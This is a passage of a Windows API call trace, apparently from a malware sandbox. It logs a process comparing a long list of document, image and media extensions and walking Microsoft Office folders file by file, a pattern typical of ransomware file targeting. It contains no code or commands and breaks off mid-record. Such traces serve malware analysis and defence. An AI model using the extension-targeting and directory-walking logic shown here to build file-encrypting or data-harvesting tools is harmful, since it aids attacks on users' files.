[0090.641] lstrcmpiW (lpString1=".divx", lpString2="I.DLL") returned -1 [0090.641] lstrlenW (lpString=".djvu") returned 5 [0090.641] lstrcmpiW (lpString1=".djvu", lpString2="I.DLL") returned -1 [0090.641] lstrlenW (lpString=".dng") returned 4 [0090.641] lstrcmpiW (lpString1=".dng", lpString2=".DLL") returned 1 [0090.641] lstrlenW (lpString=".doc") returned 4 [0090.641] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0090.641] lstrlenW (lpString=".docm") returned 5 [0090.642] lstrcmpiW (lpString1=".docm", lpString2="I.DLL") returned -1 [0090.642] lstrlenW (lpString=".docx") returned 5 [0090.642] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0090.642] lstrlenW (lpString=".dot") returned 4 [0090.642] lstrcmpiW (lpString1=".dot", lpString2=".DLL") returned 1 [0090.642] lstrlenW (lpString=".dotm") returned 5 [0090.642] lstrcmpiW (lpString1=".dotm", lpString2="I.DLL") returned -1 [0090.642] lstrlenW (lpString=".dotx") returned 5 [0090.642] lstrcmpiW (lpString1=".dotx", lpString2="I.DLL") returned -1 [0090.642] lstrlenW (lpString=".dpx") returned 4 [0090.642] lstrcmpiW (lpString1=".dpx", lpString2=".DLL") returned 1 [0090.642] lstrlenW (lpString=".dqy") returned 4 [0090.642] lstrcmpiW (lpString1=".dqy", lpString2=".DLL") returned 1 [0090.643] lstrlenW (lpString=".dsn") returned 4 [0090.643] lstrcmpiW (lpString1=".dsn", lpString2=".DLL") returned 1 [0090.643] lstrlenW (lpString=".dt") returned 3 [0090.643] lstrcmpiW (lpString1=".dt", lpString2="DLL") returned -1 [0090.643] lstrlenW (lpString=".dtd") returned 4 [0090.643] lstrcmpiW (lpString1=".dtd", lpString2=".DLL") returned 1 [0090.643] lstrlenW (lpString=".dwg") returned 4 [0090.643] lstrcmpiW (lpString1=".dwg", lpString2=".DLL") returned 1 [0090.643] lstrlenW (lpString=".dwt") returned 4 [0090.643] lstrcmpiW (lpString1=".dwt", lpString2=".DLL") returned 1 [0090.643] lstrlenW (lpString=".dx") returned 3 [0090.643] lstrcmpiW (lpString1=".dx", lpString2="DLL") returned -1 [0090.643] lstrlenW (lpString=".dxf") returned 4 [0090.644] lstrcmpiW (lpString1=".dxf", lpString2=".DLL") returned 1 [0090.644] lstrlenW (lpString=".edml") returned 5 [0090.644] lstrcmpiW (lpString1=".edml", lpString2="I.DLL") returned -1 [0090.644] lstrlenW (lpString=".efd") returned 4 [0090.644] lstrcmpiW (lpString1=".efd", lpString2=".DLL") returned 1 [0090.644] lstrlenW (lpString=".elf") returned 4 [0090.644] lstrcmpiW (lpString1=".elf", lpString2=".DLL") returned 1 [0090.644] lstrlenW (lpString=".emf") returned 4 [0090.644] lstrcmpiW (lpString1=".emf", lpString2=".DLL") returned 1 [0090.644] lstrlenW (lpString=".emz") returned 4 [0090.644] lstrcmpiW (lpString1=".emz", lpString2=".DLL") returned 1 [0090.644] lstrlenW (lpString=".epf") returned 4 [0090.644] lstrcmpiW (lpString1=".epf", lpString2=".DLL") returned 1 [0090.644] lstrlenW (lpString=".eps") returned 4 [0090.645] lstrcmpiW (lpString1=".eps", lpString2=".DLL") returned 1 [0090.645] lstrlenW (lpString=".epsf") returned 5 [0090.645] lstrcmpiW (lpString1=".epsf", lpString2="I.DLL") returned -1 [0090.645] lstrlenW (lpString=".epsp") returned 5 [0090.645] lstrcmpiW (lpString1=".epsp", lpString2="I.DLL") returned -1 [0090.645] lstrlenW (lpString=".erf") returned 4 [0090.645] lstrcmpiW (lpString1=".erf", lpString2=".DLL") returned 1 [0090.645] lstrlenW (lpString=".exr") returned 4 [0090.645] lstrcmpiW (lpString1=".exr", lpString2=".DLL") returned 1 [0090.645] lstrlenW (lpString=".f4v") returned 4 [0090.645] lstrcmpiW (lpString1=".f4v", lpString2=".DLL") returned 1 [0090.645] lstrlenW (lpString=".fido") returned 5 [0090.645] lstrcmpiW (lpString1=".fido", lpString2="I.DLL") returned -1 [0090.646] lstrlenW (lpString=".flm") returned 4 [0090.646] lstrcmpiW (lpString1=".flm", lpString2=".DLL") returned 1 [0090.646] lstrlenW (lpString=".flv") returned 4 [0090.646] lstrcmpiW (lpString1=".flv", lpString2=".DLL") returned 1 [0090.646] lstrlenW (lpString=".frm") returned 4 [0090.646] lstrcmpiW (lpString1=".frm", lpString2=".DLL") returned 1 [0090.646] lstrlenW (lpString=".fxg") returned 4 [0090.646] lstrcmpiW (lpString1=".fxg", lpString2=".DLL") returned 1 [0090.646] lstrlenW (lpString=".geo") returned 4 [0090.646] lstrcmpiW (lpString1=".geo", lpString2=".DLL") returned 1 [0090.646] lstrlenW (lpString=".gif") returned 4 [0090.646] lstrcmpiW (lpString1=".gif", lpString2=".DLL") returned 1 [0090.646] lstrlenW (lpString=".grs") returned 4 [0090.646] lstrcmpiW (lpString1=".grs", lpString2=".DLL") returned 1 [0090.646] lstrlenW (lpString=".gz") returned 3 [0090.647] lstrcmpiW (lpString1=".gz", lpString2="DLL") returned -1 [0090.647] lstrlenW (lpString=".h") returned 2 [0090.647] lstrcmpiW (lpString1=".h", lpString2="LL") returned -1 [0090.647] lstrlenW (lpString=".hdr") returned 4 [0090.647] lstrcmpiW (lpString1=".hdr", lpString2=".DLL") returned 1 [0090.647] lstrlenW (lpString=".hpp") returned 4 [0090.647] lstrcmpiW (lpString1=".hpp", lpString2=".DLL") returned 1 [0090.647] lstrlenW (lpString=".hta") returned 4 [0090.647] lstrcmpiW (lpString1=".hta", lpString2=".DLL") returned 1 [0090.647] lstrlenW (lpString=".htc") returned 4 [0090.647] lstrcmpiW (lpString1=".htc", lpString2=".DLL") returned 1 [0090.647] lstrlenW (lpString=".htm") returned 4 [0090.647] lstrcmpiW (lpString1=".htm", lpString2=".DLL") returned 1 [0090.648] lstrlenW (lpString=".html") returned 5 [0090.648] lstrcmpiW (lpString1=".html", lpString2="I.DLL") returned -1 [0090.648] lstrlenW (lpString=".icb") returned 4 [0090.648] lstrcmpiW (lpString1=".icb", lpString2=".DLL") returned 1 [0090.648] lstrlenW (lpString=".ics") returned 4 [0090.648] lstrcmpiW (lpString1=".ics", lpString2=".DLL") returned 1 [0090.648] lstrlenW (lpString=".iff") returned 4 [0090.648] lstrcmpiW (lpString1=".iff", lpString2=".DLL") returned 1 [0090.648] lstrlenW (lpString=".inc") returned 4 [0090.648] lstrcmpiW (lpString1=".inc", lpString2=".DLL") returned 1 [0090.648] lstrlenW (lpString=".indd") returned 5 [0090.648] lstrcmpiW (lpString1=".indd", lpString2="I.DLL") returned -1 [0090.648] lstrlenW (lpString=".ini") returned 4 [0090.649] lstrcmpiW (lpString1=".ini", lpString2=".DLL") returned 1 [0090.649] lstrlenW (lpString=".iqy") returned 4 [0090.649] lstrcmpiW (lpString1=".iqy", lpString2=".DLL") returned 1 [0090.649] lstrlenW (lpString=".j2c") returned 4 [0090.649] lstrcmpiW (lpString1=".j2c", lpString2=".DLL") returned 1 [0090.649] lstrlenW (lpString=".j2k") returned 4 [0090.649] lstrcmpiW (lpString1=".j2k", lpString2=".DLL") returned 1 [0090.649] lstrlenW (lpString=".java") returned 5 [0090.649] lstrcmpiW (lpString1=".java", lpString2="I.DLL") returned -1 [0090.649] lstrlenW (lpString=".jp2") returned 4 [0090.649] lstrcmpiW (lpString1=".jp2", lpString2=".DLL") returned 1 [0090.650] lstrlenW (lpString=".jpc") returned 4 [0090.650] lstrcmpiW (lpString1=".jpc", lpString2=".DLL") returned 1 [0090.650] lstrlenW (lpString=".jpe") returned 4 [0090.650] lstrcmpiW (lpString1=".jpe", lpString2=".DLL") returned 1 [0090.650] lstrlenW (lpString=".jpeg") returned 5 [0090.650] lstrcmpiW (lpString1=".jpeg", lpString2="I.DLL") returned -1 [0090.650] lstrlenW (lpString=".jpf") returned 4 [0090.650] lstrcmpiW (lpString1=".jpf", lpString2=".DLL") returned 1 [0090.650] lstrlenW (lpString=".jpg") returned 4 [0090.650] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0090.650] lstrlenW (lpString=".jpx") returned 4 [0090.650] lstrcmpiW (lpString1=".jpx", lpString2=".DLL") returned 1 [0090.650] lstrlenW (lpString=".js") returned 3 [0090.651] lstrcmpiW (lpString1=".js", lpString2="DLL") returned -1 [0090.651] lstrlenW (lpString=".jsf") returned 4 [0090.651] lstrcmpiW (lpString1=".jsf", lpString2=".DLL") returned 1 [0090.651] lstrlenW (lpString=".json") returned 5 [0090.651] lstrcmpiW (lpString1=".json", lpString2="I.DLL") returned -1 [0090.651] lstrlenW (lpString=".jsp") returned 4 [0090.651] lstrcmpiW (lpString1=".jsp", lpString2=".DLL") returned 1 [0090.651] lstrlenW (lpString=".kdc") returned 4 [0090.651] lstrcmpiW (lpString1=".kdc", lpString2=".DLL") returned 1 [0090.651] lstrlenW (lpString=".kmz") returned 4 [0090.651] lstrcmpiW (lpString1=".kmz", lpString2=".DLL") returned 1 [0090.651] lstrlenW (lpString=".kwm") returned 4 [0090.652] lstrcmpiW (lpString1=".kwm", lpString2=".DLL") returned 1 [0090.652] lstrlenW (lpString=".lasso") returned 6 [0090.652] lstrcmpiW (lpString1=".lasso", lpString2="UI.DLL") returned -1 [0090.652] lstrlenW (lpString=".lbi") returned 4 [0090.652] lstrcmpiW (lpString1=".lbi", lpString2=".DLL") returned 1 [0090.652] lstrlenW (lpString=".lgf") returned 4 [0090.652] lstrcmpiW (lpString1=".lgf", lpString2=".DLL") returned 1 [0090.652] lstrlenW (lpString=".lgp") returned 4 [0090.652] lstrcmpiW (lpString1=".lgp", lpString2=".DLL") returned 1 [0090.652] lstrlenW (lpString=".log") returned 4 [0090.652] lstrcmpiW (lpString1=".log", lpString2=".DLL") returned 1 [0090.652] lstrlenW (lpString=".m1v") returned 4 [0090.652] lstrcmpiW (lpString1=".m1v", lpString2=".DLL") returned 1 [0090.652] lstrlenW (lpString=".m4a") returned 4 [0090.652] lstrcmpiW (lpString1=".m4a", lpString2=".DLL") returned 1 [0090.653] lstrlenW (lpString=".m4v") returned 4 [0090.653] lstrcmpiW (lpString1=".m4v", lpString2=".DLL") returned 1 [0090.653] lstrlenW (lpString=".max") returned 4 [0090.653] lstrcmpiW (lpString1=".max", lpString2=".DLL") returned 1 [0090.653] lstrlenW (lpString=".md") returned 3 [0090.653] lstrcmpiW (lpString1=".md", lpString2="DLL") returned -1 [0090.653] lstrlenW (lpString=".mda") returned 4 [0090.653] lstrcmpiW (lpString1=".mda", lpString2=".DLL") returned 1 [0090.653] lstrlenW (lpString=".mdb") returned 4 [0090.653] lstrcmpiW (lpString1=".mdb", lpString2=".DLL") returned 1 [0090.653] lstrlenW (lpString=".mde") returned 4 [0090.653] lstrcmpiW (lpString1=".mde", lpString2=".DLL") returned 1 [0090.654] lstrlenW (lpString=".mdf") returned 4 [0090.654] lstrcmpiW (lpString1=".mdf", lpString2=".DLL") returned 1 [0090.654] lstrlenW (lpString=".mdw") returned 4 [0090.654] lstrcmpiW (lpString1=".mdw", lpString2=".DLL") returned 1 [0090.654] lstrlenW (lpString=".mef") returned 4 [0090.654] lstrcmpiW (lpString1=".mef", lpString2=".DLL") returned 1 [0090.654] lstrlenW (lpString=".mft") returned 4 [0090.654] lstrcmpiW (lpString1=".mft", lpString2=".DLL") returned 1 [0090.654] lstrlenW (lpString=".mfw") returned 4 [0090.654] lstrcmpiW (lpString1=".mfw", lpString2=".DLL") returned 1 [0090.654] lstrlenW (lpString=".mht") returned 4 [0090.654] lstrcmpiW (lpString1=".mht", lpString2=".DLL") returned 1 [0090.654] lstrlenW (lpString=".mhtml") returned 6 [0090.654] lstrcmpiW (lpString1=".mhtml", lpString2="UI.DLL") returned -1 [0090.655] lstrlenW (lpString=".mka") returned 4 [0090.655] lstrcmpiW (lpString1=".mka", lpString2=".DLL") returned 1 [0090.655] lstrlenW (lpString=".mkidx") returned 6 [0090.655] lstrcmpiW (lpString1=".mkidx", lpString2="UI.DLL") returned -1 [0090.655] lstrlenW (lpString=".mkv") returned 4 [0090.655] lstrcmpiW (lpString1=".mkv", lpString2=".DLL") returned 1 [0090.655] lstrlenW (lpString=".mos") returned 4 [0090.655] lstrcmpiW (lpString1=".mos", lpString2=".DLL") returned 1 [0090.655] lstrlenW (lpString=".mov") returned 4 [0090.655] lstrcmpiW (lpString1=".mov", lpString2=".DLL") returned 1 [0090.655] lstrlenW (lpString=".mp3") returned 4 [0090.655] lstrcmpiW (lpString1=".mp3", lpString2=".DLL") returned 1 [0090.655] lstrlenW (lpString=".mp4") returned 4 [0090.656] lstrcmpiW (lpString1=".mp4", lpString2=".DLL") returned 1 [0090.656] lstrlenW (lpString=".mpeg") returned 5 [0090.656] lstrcmpiW (lpString1=".mpeg", lpString2="I.DLL") returned -1 [0090.656] lstrlenW (lpString=".mpg") returned 4 [0090.656] lstrcmpiW (lpString1=".mpg", lpString2=".DLL") returned 1 [0090.656] lstrlenW (lpString=".mpv") returned 4 [0090.656] lstrcmpiW (lpString1=".mpv", lpString2=".DLL") returned 1 [0090.656] lstrlenW (lpString=".mrw") returned 4 [0090.656] lstrcmpiW (lpString1=".mrw", lpString2=".DLL") returned 1 [0090.656] lstrlenW (lpString=".msg") returned 4 [0090.656] lstrcmpiW (lpString1=".msg", lpString2=".DLL") returned 1 [0090.656] lstrlenW (lpString=".mxl") returned 4 [0090.657] lstrcmpiW (lpString1=".mxl", lpString2=".DLL") returned 1 [0090.657] lstrlenW (lpString=".myd") returned 4 [0090.657] lstrcmpiW (lpString1=".myd", lpString2=".DLL") returned 1 [0090.657] lstrlenW (lpString=".myi") returned 4 [0090.657] lstrcmpiW (lpString1=".myi", lpString2=".DLL") returned 1 [0090.657] lstrlenW (lpString=".nef") returned 4 [0090.657] lstrcmpiW (lpString1=".nef", lpString2=".DLL") returned 1 [0090.657] lstrlenW (lpString=".nrw") returned 4 [0090.657] lstrcmpiW (lpString1=".nrw", lpString2=".DLL") returned 1 [0090.657] lstrlenW (lpString=".obj") returned 4 [0090.657] lstrcmpiW (lpString1=".obj", lpString2=".DLL") returned 1 [0090.657] lstrlenW (lpString=".odb") returned 4 [0090.658] lstrcmpiW (lpString1=".odb", lpString2=".DLL") returned 1 [0090.658] lstrlenW (lpString=".odc") returned 4 [0090.658] lstrcmpiW (lpString1=".odc", lpString2=".DLL") returned 1 [0090.658] lstrlenW (lpString=".odm") returned 4 [0090.658] lstrcmpiW (lpString1=".odm", lpString2=".DLL") returned 1 [0090.658] lstrlenW (lpString=".odp") returned 4 [0090.658] lstrcmpiW (lpString1=".odp", lpString2=".DLL") returned 1 [0090.658] lstrlenW (lpString=".ods") returned 4 [0090.658] lstrcmpiW (lpString1=".ods", lpString2=".DLL") returned 1 [0090.658] lstrlenW (lpString=".oft") returned 4 [0090.658] lstrcmpiW (lpString1=".oft", lpString2=".DLL") returned 1 [0090.658] lstrlenW (lpString=".one") returned 4 [0090.658] lstrcmpiW (lpString1=".one", lpString2=".DLL") returned 1 [0090.658] lstrlenW (lpString=".onepkg") returned 7 [0090.658] lstrcmpiW (lpString1=".onepkg", lpString2="SUI.DLL") returned -1 [0090.659] lstrlenW (lpString=".onetoc2") returned 8 [0090.659] lstrcmpiW (lpString1=".onetoc2", lpString2="DSUI.DLL") returned -1 [0090.659] lstrlenW (lpString=".opt") returned 4 [0090.659] lstrcmpiW (lpString1=".opt", lpString2=".DLL") returned 1 [0090.659] lstrlenW (lpString=".oqy") returned 4 [0090.660] lstrcmpiW (lpString1=".oqy", lpString2=".DLL") returned 1 [0090.660] lstrlenW (lpString=".orf") returned 4 [0090.660] lstrcmpiW (lpString1=".orf", lpString2=".DLL") returned 1 [0090.660] lstrlenW (lpString=".p12") returned 4 [0090.660] lstrcmpiW (lpString1=".p12", lpString2=".DLL") returned 1 [0090.660] lstrlenW (lpString=".p7b") returned 4 [0090.660] lstrcmpiW (lpString1=".p7b", lpString2=".DLL") returned 1 [0090.660] lstrlenW (lpString=".p7c") returned 4 [0090.660] lstrcmpiW (lpString1=".p7c", lpString2=".DLL") returned 1 [0090.660] lstrlenW (lpString=".pam") returned 4 [0090.660] lstrcmpiW (lpString1=".pam", lpString2=".DLL") returned 1 [0090.661] lstrlenW (lpString=".pbm") returned 4 [0090.661] lstrcmpiW (lpString1=".pbm", lpString2=".DLL") returned 1 [0090.661] lstrlenW (lpString=".pct") returned 4 [0090.661] lstrcmpiW (lpString1=".pct", lpString2=".DLL") returned 1 [0090.661] lstrlenW (lpString=".pcx") returned 4 [0090.661] lstrcmpiW (lpString1=".pcx", lpString2=".DLL") returned 1 [0090.661] lstrlenW (lpString=".pdd") returned 4 [0090.661] lstrcmpiW (lpString1=".pdd", lpString2=".DLL") returned 1 [0090.661] lstrlenW (lpString=".pdf") returned 4 [0090.661] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0090.661] lstrlenW (lpString=".pdp") returned 4 [0090.661] lstrcmpiW (lpString1=".pdp", lpString2=".DLL") returned 1 [0090.662] lstrlenW (lpString=".pef") returned 4 [0090.662] lstrcmpiW (lpString1=".pef", lpString2=".DLL") returned 1 [0090.662] lstrlenW (lpString=".pem") returned 4 [0090.662] lstrcmpiW (lpString1=".pem", lpString2=".DLL") returned 1 [0090.662] lstrlenW (lpString=".pff") returned 4 [0090.662] lstrcmpiW (lpString1=".pff", lpString2=".DLL") returned 1 [0090.662] lstrlenW (lpString=".pfm") returned 4 [0090.662] lstrcmpiW (lpString1=".pfm", lpString2=".DLL") returned 1 [0090.662] lstrlenW (lpString=".pfx") returned 4 [0090.662] lstrcmpiW (lpString1=".pfx", lpString2=".DLL") returned 1 [0090.662] lstrlenW (lpString=".pgm") returned 4 [0090.662] lstrcmpiW (lpString1=".pgm", lpString2=".DLL") returned 1 [0090.662] lstrlenW (lpString=".php") returned 4 [0090.663] lstrcmpiW (lpString1=".php", lpString2=".DLL") returned 1 [0090.663] lstrlenW (lpString=".php3") returned 5 [0090.663] lstrcmpiW (lpString1=".php3", lpString2="I.DLL") returned -1 [0090.663] lstrlenW (lpString=".php4") returned 5 [0090.663] lstrcmpiW (lpString1=".php4", lpString2="I.DLL") returned -1 [0090.663] lstrlenW (lpString=".php5") returned 5 [0090.663] lstrcmpiW (lpString1=".php5", lpString2="I.DLL") returned -1 [0090.663] lstrlenW (lpString=".phtml") returned 6 [0090.663] lstrcmpiW (lpString1=".phtml", lpString2="UI.DLL") returned -1 [0090.663] lstrlenW (lpString=".pict") returned 5 [0090.664] lstrcmpiW (lpString1=".pict", lpString2="I.DLL") returned -1 [0090.664] lstrlenW (lpString=".pl") returned 3 [0090.664] lstrcmpiW (lpString1=".pl", lpString2="DLL") returned -1 [0090.664] lstrlenW (lpString=".pls") returned 4 [0090.664] lstrcmpiW (lpString1=".pls", lpString2=".DLL") returned 1 [0090.664] lstrlenW (lpString=".pm") returned 3 [0090.664] lstrcmpiW (lpString1=".pm", lpString2="DLL") returned -1 [0090.664] lstrlenW (lpString=".png") returned 4 [0090.664] lstrcmpiW (lpString1=".png", lpString2=".DLL") returned 1 [0090.664] lstrlenW (lpString=".pnm") returned 4 [0090.664] lstrcmpiW (lpString1=".pnm", lpString2=".DLL") returned 1 [0090.664] lstrlenW (lpString=".pot") returned 4 [0090.664] lstrcmpiW (lpString1=".pot", lpString2=".DLL") returned 1 [0090.664] lstrlenW (lpString=".potm") returned 5 [0090.664] lstrcmpiW (lpString1=".potm", lpString2="I.DLL") returned -1 [0090.665] lstrlenW (lpString=".potx") returned 5 [0090.665] lstrcmpiW (lpString1=".potx", lpString2="I.DLL") returned -1 [0090.665] lstrlenW (lpString=".ppa") returned 4 [0090.665] lstrcmpiW (lpString1=".ppa", lpString2=".DLL") returned 1 [0090.665] lstrlenW (lpString=".ppam") returned 5 [0090.665] lstrcmpiW (lpString1=".ppam", lpString2="I.DLL") returned -1 [0090.665] lstrlenW (lpString=".ppm") returned 4 [0090.665] lstrcmpiW (lpString1=".ppm", lpString2=".DLL") returned 1 [0090.665] lstrlenW (lpString=".pps") returned 4 [0090.665] lstrcmpiW (lpString1=".pps", lpString2=".DLL") returned 1 [0090.665] lstrlenW (lpString=".ppsm") returned 5 [0090.665] lstrcmpiW (lpString1=".ppsm", lpString2="I.DLL") returned -1 [0090.665] lstrlenW (lpString=".ppt") returned 4 [0090.666] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0090.666] lstrlenW (lpString=".pptm") returned 5 [0090.666] lstrcmpiW (lpString1=".pptm", lpString2="I.DLL") returned -1 [0090.666] lstrlenW (lpString=".pptx") returned 5 [0090.666] lstrcmpiW (lpString1=".pptx", lpString2="I.DLL") returned -1 [0090.666] lstrlenW (lpString=".prn") returned 4 [0090.666] lstrcmpiW (lpString1=".prn", lpString2=".DLL") returned 1 [0090.666] lstrlenW (lpString=".ps") returned 3 [0090.666] lstrcmpiW (lpString1=".ps", lpString2="DLL") returned -1 [0090.666] lstrlenW (lpString=".psb") returned 4 [0090.666] lstrcmpiW (lpString1=".psb", lpString2=".DLL") returned 1 [0090.666] lstrlenW (lpString=".psd") returned 4 [0090.667] lstrcmpiW (lpString1=".psd", lpString2=".DLL") returned 1 [0090.667] lstrlenW (lpString=".pst") returned 4 [0090.667] lstrcmpiW (lpString1=".pst", lpString2=".DLL") returned 1 [0090.667] lstrlenW (lpString=".ptx") returned 4 [0090.667] lstrcmpiW (lpString1=".ptx", lpString2=".DLL") returned 1 [0090.667] lstrlenW (lpString=".pub") returned 4 [0090.667] lstrcmpiW (lpString1=".pub", lpString2=".DLL") returned 1 [0090.667] lstrlenW (lpString=".pwm") returned 4 [0090.667] lstrcmpiW (lpString1=".pwm", lpString2=".DLL") returned 1 [0090.667] lstrlenW (lpString=".pxr") returned 4 [0090.667] lstrcmpiW (lpString1=".pxr", lpString2=".DLL") returned 1 [0090.667] lstrlenW (lpString=".py") returned 3 [0090.667] lstrcmpiW (lpString1=".py", lpString2="DLL") returned -1 [0090.668] lstrlenW (lpString=".qt") returned 3 [0090.668] lstrcmpiW (lpString1=".qt", lpString2="DLL") returned -1 [0090.668] lstrcmpiW (lpString1=".r3d", lpString2=".DLL") returned 1 [0090.669] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d407000, ftCreationTime.dwHighDateTime=0x1ca8d26, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9d407000, ftLastWriteTime.dwHighDateTime=0x1ca8d26, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCESS12.ACC", cAlternateFileName="")) returned 1 [0090.669] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLKI.DLL", cAlternateFileName="")) returned 1 [0090.670] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6146600, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6146600, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x26b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCVDTUI.DLL", cAlternateFileName="")) returned 1 [0090.671] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a36c100, ftCreationTime.dwHighDateTime=0x1c6af9a, ftLastAccessTime.dwLowDateTime=0x150ad890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a36c100, ftLastWriteTime.dwHighDateTime=0x1c6af9a, nFileSizeHigh=0x0, nFileSizeLow=0x53de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIP10.HLP", cAlternateFileName="")) returned 1 [0090.671] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefafd800, ftCreationTime.dwHighDateTime=0x1ca674a, ftLastAccessTime.dwLowDateTime=0x150ad890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefafd800, ftLastWriteTime.dwHighDateTime=0x1ca674a, nFileSizeHigh=0x0, nFileSizeLow=0x43590, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWIZRC.DLL", cAlternateFileName="")) returned 1 [0090.671] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x10f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEC.VSL", cAlternateFileName="")) returned 1 [0090.671] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="AECUTILS.VSL", cAlternateFileName="")) returned 1 [0090.672] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2b17900, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x50598d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe2b17900, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASSET.VRD", cAlternateFileName="")) returned 1 [0090.672] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3375600, ftCreationTime.dwHighDateTime=0x1c2fe69, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc3375600, ftLastWriteTime.dwHighDateTime=0x1c2fe69, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASIC.HTM", cAlternateFileName="")) returned 1 [0090.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3f00060 [0090.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography") returned 60 [0090.673] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39742b0 [0091.158] FindNextFileW (in: hFindFile=0x39742b0, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.158] FindNextFileW (in: hFindFile=0x39742b0, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, 